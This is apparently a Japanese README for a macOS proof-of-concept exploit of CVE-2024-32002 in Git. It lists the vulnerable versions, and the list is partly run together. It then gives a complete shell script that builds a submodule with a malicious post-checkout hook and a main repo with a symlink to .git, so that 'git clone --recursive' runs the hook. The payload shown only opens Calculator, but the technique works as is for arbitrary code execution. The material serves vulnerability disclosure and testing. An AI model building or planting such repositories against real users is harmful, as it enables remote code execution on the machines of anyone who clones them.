
Calculatorを実行するシンプルな概念実証(macOSのみの例)。git clone --recursiveコマンドを使用すると、このリポジトリはhttps://github.com/markuta/hookyもプルします。このリポジトリには`post-checkout`スクリプトが含まれています。主にコミット修正[t7406-submodule-update.sh](https://github.com/git/git/blob/97065761333fd62db1912d81b489db938d8c991d/t/t7406-submodule-update.sh#L1182)ファイルに基づいています。
注意:
2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、、より前のバージョンが脆弱です。
2.40.22.39.4git clone --recursive github.com/markuta/CVE-2024-32002
# Submodule repo (payload)
git init hooky
cd hooky
mkdir -p y/hooks
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"
# Main repo
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink